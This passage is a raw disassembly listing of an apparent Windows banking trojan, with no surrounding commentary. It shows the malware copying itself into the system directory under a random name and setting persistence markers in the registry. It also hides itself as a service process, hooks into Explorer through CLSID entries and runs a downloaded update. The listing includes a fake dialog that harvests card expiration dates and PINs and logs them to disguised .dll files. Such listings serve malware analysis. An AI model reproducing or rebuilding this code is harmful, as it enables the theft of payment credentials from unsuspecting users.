					; sub_405AAC+585j
		push	1
		push	offset aWupd	; "wupd	"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		or	eax, eax
		jnz	loc_40620D
		push	7
		lea	eax, [ebp+var_F07]
		push	eax
		call	sub_4013E4
		lea	eax, [ebp+var_F07]
		push	eax
		push	offset dword_419160
		push	offset aSS_dat	; "%s\\%s.dat"
		lea	eax, [ebp+var_456F]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_1FB]
		push	eax
		lea	eax, [ebp+var_556E]
		push	eax
		call	sub_4078EC
		push	0
		push	0
		push	0
		push	offset aQ	; "q"
		push	offset aXd2	; "xd2"
		lea	eax, [ebp+var_456F]
		push	eax
		lea	eax, [ebp+var_556E]
		push	eax
		push	0
		call	sub_403D8E
		add	esp, 38h
		mov	esi, eax
		cmp	esi, 2
		jnz	short loc_40620D
		push	0
		lea	eax, [ebp+var_456F]
		push	eax
		call	sub_407B34	; WinExec
		push	1
		push	offset aNewver	; "newver"
		lea	eax, [ebp+var_556E]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_40620D
		push	1
		call	sub_407DEC
		pop	ecx


loc_40620D:				; CODE XREF: sub_405AAC+1B1j
					; sub_405AAC+1BDj ...
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+var_E08]
		call	sub_401560
		add	esp, 0Ch
		mov	ebx, eax
		or	eax, eax
		jnz	loc_405C62
		push	[ebp+var_E08]
		call	sub_407A68	; LocalFree


loc_406238:				; CODE XREF: sub_405AAC+14Cj
					; sub_405AAC+190j ...
		fld	dbl_4245E4
		fimul	dword_41A0A0
		mov	edi, eax
		call	sub_407844
		xchg	eax, edi
		push	edi
		call	sub_407DE0
		mov	edi, dword_41A0A4
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1010],	edi
		mov	eax, edi
		mov	[ebp-1570h], eax
		push	eax
		call	sub_407DE0
		add	esp, 8
		mov	edi, [ebp-1570h]
		add	edi, eax
		mov	[ebp+var_1010],	edi
		mov	eax, edi
		mov	edi, dword_41A0A4
		sub	edi, dword_41A0A0
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_1574],	eax
		mov	[ebp+var_1010],	eax
		call	sub_407E28
		mov	[ebp+var_1578],	eax
		mov	eax, dword_41A0A0
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	edx, [ebp+var_1010]
		mov	ecx, [ebp+var_1578]
		mov	eax, edx
		imul	eax, [ebp+var_1578]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_41A0A0, edi
		mov	eax, dword_41A0A4
		cmp	edi, eax
		jbe	short loc_4062FF
		and	dword_41A0A0, 0


loc_4062FF:				; CODE XREF: sub_405AAC+84Aj
		push	493E0h
		call	sub_407DC8
		pop	ecx
		jmp	loc_405AC8
sub_405AAC	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406316	proc near		; CODE XREF: sub_406344+Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	1F0001h
		call	sub_407A74	; OpenMutexA
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_406341
		push	eax
		call	sub_407984	; CloseHandle
		push	1
		call	sub_407DEC
		pop	ecx


loc_406341:				; CODE XREF: sub_406316+1Bj
		pop	edi
		leave
		retn
sub_406316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406344	proc near		; CODE XREF: sub_407868+5Cp

var_750		= dword	ptr -750h
var_74C		= byte ptr -74Ch
var_748		= byte ptr -748h
var_742		= byte ptr -742h
var_643		= byte ptr -643h
var_544		= byte ptr -544h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= byte ptr -438h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_2C8		= byte ptr -2C8h
var_264		= byte ptr -264h
var_160		= byte ptr -160h
var_5C		= dword	ptr -5Ch
var_55		= dword	ptr -55h
var_51		= dword	ptr -51h
var_4D		= dword	ptr -4Dh
var_49		= dword	ptr -49h
var_45		= dword	ptr -45h
var_41		= dword	ptr -41h
var_3D		= dword	ptr -3Dh
var_39		= dword	ptr -39h
var_35		= dword	ptr -35h
var_31		= dword	ptr -31h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_1D		= byte ptr -1Dh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		call	sub_406316
		push	104h
		lea	eax, [ebp+var_160]
		push	eax
		call	sub_40799C	; GetSystemDirectoryA
		push	offset aDriversNdisrd_ ; "\\drivers\\ndisrd.sys"
		lea	eax, [ebp+var_160]
		push	eax
		call	sub_407E64
		add	esp, 8
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_160]
		push	eax
		call	sub_407A8C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4063A3
		call	sub_40523F
		jmp	short loc_4063A9
; ---------------------------------------------------------------------------


loc_4063A3:				; CODE XREF: sub_406344+56j
		push	esi
		call	sub_407984	; CloseHandle


loc_4063A9:				; CODE XREF: sub_406344+5Dj
		push	offset aEnabledsf ; "enabledsf"
		call	sub_4079F0	; GlobalAddAtomA
		mov	eax, [ebp+arg_0]
		mov	ds:dword_409008, eax
		mov	ds:dword_408F40, 94h
		push	offset dword_408F40
		call	sub_4079CC	; GetVersionExA
		push	0FFh
		push	offset dword_419160
		call	sub_40799C	; GetSystemDirectoryA
		call	sub_4079B4	; GetTickCount
		push	eax
		call	sub_407E4C
		push	104h
		lea	eax, [ebp+var_438]
		push	eax
		push	[ebp+arg_0]
		call	sub_40796C	; GetModuleFileNameA
		and	[ebp+var_5C], 0
		mov	[ebp+var_43C], 4
		lea	eax, [ebp+var_748]
		push	eax
		lea	eax, [ebp+var_43C]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401326
		add	esp, 1Ch
		mov	[ebp+var_440], eax
		or	eax, eax
		jz	short loc_406456
		cmp	[ebp+var_5C], 1Ch
		jbe	short loc_40644C
		push	1
		call	sub_407DEC
		pop	ecx


loc_40644C:				; CODE XREF: sub_406344+FEj
		cmp	[ebp+var_5C], 1Ch
		jz	loc_40653A


loc_406456:				; CODE XREF: sub_406344+F8j
		call	sub_407E28
		mov	edx, 10624DD3h
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	edi, edx
		add	edi, 41h
		mov	ebx, edi
		mov	[ebp+var_2D], bl
		mov	[ebp+var_1], 1
		jmp	short loc_4064A3
; ---------------------------------------------------------------------------


loc_40647C:				; CODE XREF: sub_406344+164j
		call	sub_407E28
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	ebx, edx
		add	ebx, 61h
		mov	[ebp+edi+var_2D], bl
		add	[ebp+var_1], 1


loc_4064A3:				; CODE XREF: sub_406344+136j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40647C
		mov	[ebp+var_25], 0
		call	sub_407E28
		mov	edx, eax
		test	dl, 1
		jnz	short loc_4064C2
		mov	[ebp+var_27], 33h
		mov	[ebp+var_26], 32h


loc_4064C2:				; CODE XREF: sub_406344+174j
		lea	eax, [ebp+var_2D]
		push	eax
		push	offset dword_419160
		push	offset aSS_exe	; "%s\\%s.exe"
		lea	eax, [ebp+var_264]
		push	eax
		call	sub_407E40
		push	0
		lea	eax, [ebp+var_264]
		push	eax
		lea	eax, [ebp+var_438]
		push	eax
		call	sub_407A20	; CopyFileA
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_40284A
		mov	[ebp+var_5C], 1Ch
		push	4
		push	4
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401379
		add	esp, 2Ch
		push	0
		lea	eax, [ebp+var_264]
		push	eax
		call	sub_407B34	; WinExec
		call	sub_402B0D
		push	1
		call	sub_407918	; ExitProcess


loc_40653A:				; CODE XREF: sub_406344+10Cj
		push	offset aKkq32_dll ; "kkq32.dll"
		push	offset dword_419160
		push	offset aSS	; "%s\\%s"
		push	offset dword_409020
		call	sub_407E40
		push	offset aDnkkq_dll ; "dnkkq.dll"
		push	offset dword_419160
		push	offset aSS	; "%s\\%s"
		push	offset dword_408120
		call	sub_407E40
		push	offset aDatkkq32_dll ; "datkkq32.dll"
		push	offset dword_419160
		push	offset aSS	; "%s\\%s"
		push	offset dword_408010
		call	sub_407E40
		push	0FFh
		push	offset dword_408A40
		call	sub_4079E4	; GetWindowsDirectoryA
		push	offset aBoot_sys ; "\\boot.sys"
		push	offset dword_408A40
		call	sub_407E64
		lea	eax, aKkqhook	; "KKQHOOK"
		mov	[ebp+var_31], eax
		mov	eax, ds:dword_409008
		mov	[ebp+var_45], eax
		lea	eax, sub_4068A8
		mov	[ebp+var_51], eax
		push	7F00h
		push	0
		call	sub_407BD0	; LoadCursorA
		mov	[ebp+var_3D], eax
		push	7F03h
		push	0
		call	sub_407BDC	; LoadIconA
		mov	[ebp+var_41], eax
		and	[ebp+var_35], 0
		push	0
		call	sub_407CD8	; GetStockObject
		mov	[ebp+var_39], eax
		mov	[ebp+var_55], 3
		and	[ebp+var_4D], 0
		and	[ebp+var_49], 0
		lea	eax, [ebp+var_55]
		push	eax
		call	sub_407BF4	; RegisterClassA
		push	0
		push	ds:dword_409008
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CA0000h
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aKkqhook	; "KKQHOOK"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_408FE4, eax
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	0
		call	sub_407AD4	; CreateMutexA
		push	2
		call	sub_401EAF
		add	esp, 3Ch
		call	sub_4079C0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_40667D
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	sub_407978	; GetModuleHandleA
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	eax
		call	sub_407990	; GetProcAddress
		mov	[ebp+var_750], eax
		call	sub_40793C	; GetCurrentProcessId
		push	1
		push	eax
		call	[ebp+var_750]


loc_40667D:				; CODE XREF: sub_406344+30Ej
		push	104h
		lea	eax, [ebp+var_544]
		push	eax
		push	0
		call	sub_40796C	; GetModuleFileNameA
		lea	eax, [ebp+var_544]
		push	eax
		call	sub_4024E0
		push	offset dword_409020
		call	sub_4024E0
		push	offset dword_408120
		call	sub_4024E0
		push	offset dword_408010
		call	sub_4024E0
		call	sub_40793C	; GetCurrentProcessId
		push	eax
		call	sub_402613
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4026EE
		and	[ebp+var_330], 0
		mov	[ebp+var_334], 64h
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_401326
		push	offset aK	; "K"
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_402638
		push	offset aV	; "V"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_402638
		lea	eax, [ebp+var_32C]
		push	eax
		push	offset aClsidSInprocse ; "CLSID\\%s\\InProcServer32"
		lea	eax, [ebp+var_742]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_643]
		push	eax
		push	0
		lea	eax, [ebp+var_742]
		push	eax
		push	80000000h
		call	sub_401326
		lea	eax, [ebp+var_643]
		push	eax
		call	sub_4024E0
		call	sub_402784
		push	offset sub_404FCE
		call	sub_404F53
		add	esp, 6Ch
		lea	eax, [ebp+var_74C]
		push	eax
		push	0
		push	0
		push	offset sub_405AAC
		push	0
		push	0
		call	sub_407B64	; CreateThread
		push	eax
		call	sub_407984	; CloseHandle
		push	0
		push	1F4h
		push	1
		push	ds:dword_408FE4
		call	sub_407BE8	; SetTimer
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067C2:				; CODE XREF: sub_406344+4A1j
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_407C54	; TranslateMessage
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_407C60	; DispatchMessageA


loc_4067D4:				; CODE XREF: sub_406344+47Cj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_407C0C	; GetMessageA
		or	eax, eax
		jnz	short loc_4067C2
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_406344	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067EE	proc near		; DATA XREF: sub_40553F+4E0o
					; sub_40553F+504o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	eax, 100h
		jnz	short loc_406853
		cmp	[ebp+arg_8], 9
		jnz	short loc_406853
		cmp	edi, ds:dword_40861C
		jnz	short loc_40681A
		push	ds:dword_419150
		call	sub_407BB8	; SetFocus


loc_40681A:				; CODE XREF: sub_4067EE+1Fj
		cmp	edi, ds:dword_419150
		jnz	short loc_40682D
		push	ds:dword_409000
		call	sub_407BB8	; SetFocus


loc_40682D:				; CODE XREF: sub_4067EE+32j
		cmp	edi, ds:dword_409000
		jnz	short loc_406840
		push	ds:dword_408FF8
		call	sub_407BB8	; SetFocus


loc_406840:				; CODE XREF: sub_4067EE+45j
		cmp	edi, ds:dword_408FF8
		jnz	short loc_406853
		push	ds:dword_419150
		call	sub_407BB8	; SetFocus


loc_406853:				; CODE XREF: sub_4067EE+11j
					; sub_4067EE+17j ...
		xor	esi, esi
		cmp	edi, ds:dword_419150
		jnz	short loc_406863
		mov	esi, ds:dword_409010


loc_406863:				; CODE XREF: sub_4067EE+6Dj
		cmp	edi, ds:dword_409000
		jnz	short loc_406871
		mov	esi, ds:dword_408FFC


loc_406871:				; CODE XREF: sub_4067EE+7Bj
		cmp	edi, ds:dword_40861C
		jnz	short loc_40687F
		mov	esi, ds:dword_408000


loc_40687F:				; CODE XREF: sub_4067EE+89j
		cmp	edi, ds:dword_408FF8
		jnz	short loc_40688D
		mov	esi, ds:dword_408A1C


loc_40688D:				; CODE XREF: sub_4067EE+97j
		or	esi, esi
		jz	short loc_4068A1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		push	esi
		call	sub_407CCC	; CallWindowProcA


loc_4068A1:				; CODE XREF: sub_4067EE+A1j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4067EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068A8	proc near		; DATA XREF: sub_406344+270o

var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		cmp	eax, 10h
		jz	loc_406A0D
		jg	short loc_4068D0
		cmp	eax, 2
		jz	loc_4069F3
		jmp	loc_406E27
; ---------------------------------------------------------------------------


loc_4068D0:				; CODE XREF: sub_4068A8+18j
		cmp	eax, 111h
		jz	loc_406AC6
		cmp	eax, 113h
		jz	short loc_4068FD
		cmp	eax, 111h
		jl	loc_406E27
		cmp	eax, 138h
		jz	loc_406A28
		jmp	loc_406E27
; ---------------------------------------------------------------------------


loc_4068FD:				; CODE XREF: sub_4068A8+38j
		cmp	dword_41A1F8, 0
		jz	loc_4069C9
		push	offset aDocobject ; "DocObject"
		push	dword_41A1F8
		call	sub_4054DD
		mov	[ebp+var_214], eax
		push	offset aExplorer ; "Explorer"
		push	eax
		call	sub_4054DD
		add	esp, 10h
		mov	[ebp+var_218], eax
		lea	eax, [ebp+var_228]
		push	eax
		push	[ebp+var_218]
		call	sub_407B88	; GetWindowRect
		or	eax, eax
		jz	short loc_4069C9
		lea	eax, [ebp+var_238]
		push	eax
		push	ds:dword_409124
		call	sub_407B88	; GetWindowRect
		or	eax, eax
		jz	short loc_4069C9
		mov	eax, [ebp+var_220]
		sub	eax, [ebp+var_228]
		sub	eax, 4
		mov	edx, [ebp+var_230]
		sub	edx, [ebp+var_238]
		cmp	eax, edx
		jnz	short loc_40699E
		mov	eax, [ebp+var_21C]
		sub	eax, [ebp+var_224]
		sub	eax, 4
		mov	edx, [ebp+var_22C]
		sub	edx, [ebp+var_234]
		cmp	eax, edx
		jz	short loc_4069C9


loc_40699E:				; CODE XREF: sub_4068A8+D5j
		push	1
		mov	eax, [ebp+var_21C]
		sub	eax, [ebp+var_224]
		push	eax
		mov	eax, [ebp+var_220]
		sub	eax, [ebp+var_228]
		push	eax
		push	0
		push	0
		push	ds:dword_409124
		call	sub_407CB4	; MoveWindow


loc_4069C9:				; CODE XREF: sub_4068A8+5Cj
					; sub_4068A8+A0j ...
		cmp	dword_41A1F4, 0
		jz	loc_406E38
		mov	eax, dword_41A1F4
		mov	dword_41A1F8, eax
		and	dword_41A1F4, 0
		push	eax
		call	sub_40553F
		pop	ecx
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_4069F3:				; CODE XREF: sub_4068A8+1Dj
		mov	eax, ds:dword_408FE4
		cmp	[ebp+arg_0], eax
		jnz	loc_406E38
		push	0
		call	sub_407C84	; PostQuitMessage
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406A0D:				; CODE XREF: sub_4068A8+12j
		mov	eax, ds:dword_408FE4
		cmp	[ebp+arg_0], eax
		jnz	loc_406E38
		push	[ebp+arg_0]
		call	sub_407CA8	; DestroyWindow
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406A28:				; CODE XREF: sub_4068A8+4Aj
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10C], eax
		cmp	eax, ds:dword_419148
		jz	short loc_406A65
		cmp	eax, ds:dword_408A20
		jz	short loc_406A65
		cmp	eax, ds:dword_408FDC
		jz	short loc_406A65
		cmp	eax, ds:dword_419360
		jz	short loc_406A65
		cmp	eax, ds:dword_41914C
		jz	short loc_406A65
		cmp	eax, ds:dword_419368
		jnz	loc_406E38


loc_406A65:				; CODE XREF: sub_4068A8+18Fj
					; sub_4068A8+197j ...
		mov	eax, [ebp+var_10C]
		cmp	eax, ds:dword_41914C
		jz	short loc_406A7B
		cmp	eax, ds:dword_419368
		jnz	short loc_406A8A


loc_406A7B:				; CODE XREF: sub_4068A8+1C9j
		push	1010B0h
		push	[ebp+arg_8]
		call	sub_407CF0	; SetTextColor
		jmp	short loc_406A94
; ---------------------------------------------------------------------------


loc_406A8A:				; CODE XREF: sub_4068A8+1D1j
		push	0
		push	[ebp+arg_8]
		call	sub_407CF0	; SetTextColor


loc_406A94:				; CODE XREF: sub_4068A8+1E0j
		push	0FFFFFFh
		push	[ebp+arg_8]
		call	sub_407CE4	; SetBkColor
		and	[ebp+var_220], 0
		and	[ebp+var_21C], 0
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407CFC	; CreateBrushIndirect
		mov	[ebp+var_214], eax
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406AC6:				; CODE XREF: sub_4068A8+2Dj
		push	offset byte_419260
		push	offset aS_0	; "%s"
		lea	eax, [ebp+var_20B]
		push	eax
		call	sub_407E40
		add	esp, 0Ch
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_419150
		call	sub_407B7C	; GetWindowTextA
		cmp	[ebp+var_FF], 0
		jnz	short loc_406B1F
		push	0
		push	0
		push	offset aPleaseSelectEx ; "Please, select Expiration Month"
		push	0
		call	sub_407C00	; MessageBoxA
		push	ds:dword_419150
		call	sub_407BB8	; SetFocus
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406B1F:				; CODE XREF: sub_4068A8+255j
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_20B]
		push	eax
		push	offset aSS_0	; "%s %s"
		lea	eax, [ebp+var_20B]
		push	eax
		call	sub_407E40
		add	esp, 10h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_409000
		call	sub_407B7C	; GetWindowTextA
		cmp	[ebp+var_FF], 0
		jnz	short loc_406B81
		push	0
		push	0
		push	offset aPleaseSelect_0 ; "Please, select Expiration Year"
		push	0
		call	sub_407C00	; MessageBoxA
		push	ds:dword_409000
		call	sub_407BB8	; SetFocus
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406B81:				; CODE XREF: sub_4068A8+2B7j
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_20B]
		push	eax
		push	offset aSS_1	; "%s-%s"
		lea	eax, [ebp+var_20B]
		push	eax
		call	sub_407E40
		add	esp, 10h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_408FF8
		call	sub_407B7C	; GetWindowTextA
		cmp	[ebp+var_FF], 0
		jz	loc_406CBE
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_406BD0:				; CODE XREF: sub_4068A8+32Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406BD0
		cmp	eax, 4
		jb	loc_406CBE
		mov	[ebp+var_101], 0
		jmp	short loc_406C0B
; ---------------------------------------------------------------------------


loc_406BE9:				; CODE XREF: sub_4068A8+37Cj
		movzx	eax, [ebp+var_101]
		mov	al, [ebp+eax+var_FF]
		cmp	al, 30h
		jl	short loc_406BFF
		cmp	al, 39h
		jle	short loc_406C04


loc_406BFF:				; CODE XREF: sub_4068A8+351j
		jmp	loc_406CBE
; ---------------------------------------------------------------------------


loc_406C04:				; CODE XREF: sub_4068A8+355j
		add	[ebp+var_101], 1


loc_406C0B:				; CODE XREF: sub_4068A8+33Fj
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_406C14:				; CODE XREF: sub_4068A8+371j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406C14
		movzx	ebx, [ebp+var_101]
		cmp	ebx, eax
		jb	short loc_406BE9
		mov	[ebp+var_100], 0
		jmp	short loc_406C9D
; ---------------------------------------------------------------------------


loc_406C2F:				; CODE XREF: sub_4068A8+40Ej
		mov	al, [ebp+var_100]
		mov	byte ptr [ebp+var_214+3], al
		jmp	short loc_406C66
; ---------------------------------------------------------------------------


loc_406C3D:				; CODE XREF: sub_4068A8+3D7j
		movzx	eax, byte ptr [ebp+var_214+3]
		movsx	eax, [ebp+eax+var_FF]
		movzx	edx, [ebp+var_100]
		movsx	edx, [ebp+edx+var_FF]
		cmp	eax, edx
		jnz	short loc_406C81
		add	byte ptr [ebp+var_214+3], 1


loc_406C66:				; CODE XREF: sub_4068A8+393j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_406C6F:				; CODE XREF: sub_4068A8+3CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406C6F
		movzx	ebx, byte ptr [ebp+var_214+3]
		cmp	ebx, eax
		jb	short loc_406C3D


loc_406C81:				; CODE XREF: sub_4068A8+3B5j
		movzx	eax, byte ptr [ebp+var_214+3]
		movzx	edx, [ebp+var_100]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_406CBE
		add	[ebp+var_100], 1


loc_406C9D:				; CODE XREF: sub_4068A8+385j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_406CA6:				; CODE XREF: sub_4068A8+403j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406CA6
		movzx	ebx, [ebp+var_100]
		cmp	ebx, eax
		jb	loc_406C2F
		jmp	short loc_406CEC
; ---------------------------------------------------------------------------


loc_406CBE:				; CODE XREF: sub_4068A8+319j
					; sub_4068A8+332j ...
		push	7D0h
		call	sub_407DC8
		pop	ecx
		push	0
		push	offset aUnableToAuth_0 ; "Unable to authorize"
		push	offset aUnableToAuth_1 ; "Unable to authorize -	INCORRECT PIN. Pl"...
		push	0
		call	sub_407C00	; MessageBoxA
		push	ds:dword_408FF8
		call	sub_407BB8	; SetFocus
		jmp	loc_406E38
; ---------------------------------------------------------------------------


loc_406CEC:				; CODE XREF: sub_4068A8+414j
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_20B]
		push	eax
		push	offset aSS_0	; "%s %s"
		lea	eax, [ebp+var_20B]
		push	eax
		call	sub_407E40
		add	esp, 10h
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_409020
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_108], eax
		push	2
		push	0
		push	0
		push	eax
		call	sub_407ABC	; SetFilePointer
		lea	ecx, [ebp+var_20B]
		or	eax, 0FFFFFFFFh


loc_406D42:				; CODE XREF: sub_4068A8+49Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406D42
		push	0
		lea	ebx, [ebp+var_210]
		push	ebx
		push	eax
		lea	esi, [ebp+var_20B]
		push	esi
		push	[ebp+var_108]
		call	sub_407B40	; WriteFile
		push	0
		lea	eax, [ebp+var_210]
		push	eax
		push	2
		push	offset asc_424CEC ; "\r\n"
		push	[ebp+var_108]
		call	sub_407B40	; WriteFile
		push	[ebp+var_108]
		call	sub_407984	; CloseHandle
		push	ds:dword_409124
		call	sub_407CA8	; DestroyWindow
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_408120
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_108], eax
		push	2
		push	0
		push	0
		push	[ebp+var_108]
		call	sub_407ABC	; SetFilePointer
		lea	ecx, byte_419260
		or	eax, 0FFFFFFFFh


loc_406DCF:				; CODE XREF: sub_4068A8+52Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_406DCF
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_210]
		push	ebx
		push	esi
		push	offset byte_419260
		push	[ebp+var_108]
		call	sub_407B40	; WriteFile
		push	0
		lea	eax, [ebp+var_210]
		push	eax
		push	1
		push	offset byte_4244C8
		push	[ebp+var_108]
		call	sub_407B40	; WriteFile
		push	[ebp+var_108]
		call	sub_407984	; CloseHandle
		push	5
		push	ds:dword_408FEC
		call	sub_407C90	; ShowWindow
		jmp	short loc_406E38
; ---------------------------------------------------------------------------


loc_406E27:				; CODE XREF: sub_4068A8+23j
					; sub_4068A8+3Fj ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407CC0	; DefWindowProcA


loc_406E38:				; CODE XREF: sub_4068A8+128j
					; sub_4068A8+146j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_4068A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E40	proc near		; CODE XREF: sub_4043B0+15p
					; sub_4043B0+25p
		jmp	ds:dword_426334
sub_406E40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E4C	proc near		; CODE XREF: sub_4034AD+7Bp
		jmp	ds:dword_426340
sub_406E4C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E58	proc near		; CODE XREF: sub_4034AD+C9p
		jmp	ds:dword_426344
sub_406E58	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E64	proc near		; CODE XREF: sub_404184+43p
		jmp	ds:dword_426350
sub_406E64	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E70	proc near		; CODE XREF: sub_404184+23p
		jmp	ds:dword_426354
